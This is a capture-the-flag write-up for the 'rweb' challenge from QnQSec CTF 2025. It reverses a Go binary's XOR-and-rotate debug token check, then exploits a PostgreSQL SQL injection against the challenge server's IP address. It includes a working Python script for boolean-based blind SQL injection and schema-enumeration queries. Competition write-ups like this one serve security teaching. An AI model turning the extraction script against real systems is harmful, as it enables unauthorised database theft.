rweb - QnQSec CTF 2025

So you like web and reverse, can you try this one yet

Author: byamb4

challenge

Introduction

challenge: Mach-O 64-bit x86_64 executable, flags:<|DYLDLINK|PIE>

The challenge binary is a GoLang Mach-O executable compiled for x86_64 architecture. The challenge also provides an IP address and port where an HTTP server is running.

Reversing the Binary

Although I generally use Binary Ninja (5.1) for reverse engineering, IDA Free (9.2) is far superior for Go binaries in terms of decompilation quality.

Most of the significant code is located in the main.main.func1 function. Reversing the binary reveals that the server listens on port 8080 and exposes a single endpoint: /search.

The /search Endpoint

The /search endpoint accepts a query via the q parameter, which is executed against a PostgreSQL database:

query 1

Finding the Vulnerability

The interesting functionality appears when examining the second parameter: __debug. When this parameter matches a specific value, a vulnerable query is constructed, leading to SQL injection:

query 2

Reversing the Validation Algorithm

To trigger the debug mode, the correct __debug value must be determined. The validation algorithm implemented in the binary works as follows:

  1. Each input byte is XORed with a repeating 4-byte key (0x1337C0DE)
  2. The result is rotated left by i % 8 bits
  3. The final value is compared against an 18-byte hardcoded target

To reverse this process, the target bytes can be extracted and the inverse operations applied (rotate right, then XOR). The key cycles every 4 bytes across the full 18-byte input.

def ror(byte, shift):
    return ((byte >> shift) | (byte << (8 - shift))) & 0xFF

target = bytes([0x60, 0x08, 0x8e, 0x65, 0x02, 0x68, 0xe7, 0x5d, 
                0x76, 0xaa, 0xd6, 0xcd, 0xc4, 0x68, 0xeb, 0xda, 
                0x76, 0xb2])
xor_key = bytes([0x13, 0x37, 0xc0, 0xde])

result = []
for i in range(len(target)):
    rotated_back = ror(target[i], i % 8)
    original = rotated_back ^ xor_key[i % 4]
    result.append(original)

print(''.join(chr(b) for b in result))

Running this script reveals the secret __debug value: s3cr3t_debug_token

Exploiting the SQL Injection

With the __debug token obtained, the SQL injection vulnerability can now be exploited.

Understanding the Vulnerable Query

The vulnerable query executes as:

SELECT content FROM messages WHERE content LIKE 'INPUT_HERE' LIMIT 20;

Testing the Injection

A simple test request confirms that the query can be controlled:

Request: http://161.97.155.116:8080/search?__debug=s3cr3t_debug_token&q=%27%20LIMIT%201--

Response:

DEBUG results:
Is your cookie ready

This confirms control over the query.

Boolean-Based Blind SQL Injection

To execute arbitrary SQL commands, a character-by-character exfiltration technique can be implemented. The approach leverages the LIMIT clause behavior: when the condition evaluates to 1, a result is returned; when it evaluates to 0, no result is returned.

import requests
import string

URL = "http://161.97.155.116:8080/search"
QUERY = "SELECT current_database()" # example

i = 0
while i:= i + 1:
    for char in string.printable:
        params = {
            "__debug": "s3cr3t_debug_token",
            "q": f"' LIMIT (ASCII(SUBSTRING(({QUERY}), {i}, 1)) = {ord(char)})::int --"
        }

        response = requests.get(URL, params=params)
        if "Is your cookie ready" in response.text:
            print(char, end='', flush=True)
            break
    else:
        break

Extracting Database Information

Using the above technique, the required information can be extracted:

1. Find the table name (flags):

SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 1

2. Find the column name (flag_text):

SELECT column_name FROM information_schema.columns WHERE table_schema='public' AND table_name='flags' LIMIT 1 OFFSET 1

3. Extract the flag:

SELECT flag_text FROM flags LIMIT 1

Proof

Running the exfiltration script with the final query successfully extracts the flag.

flag proof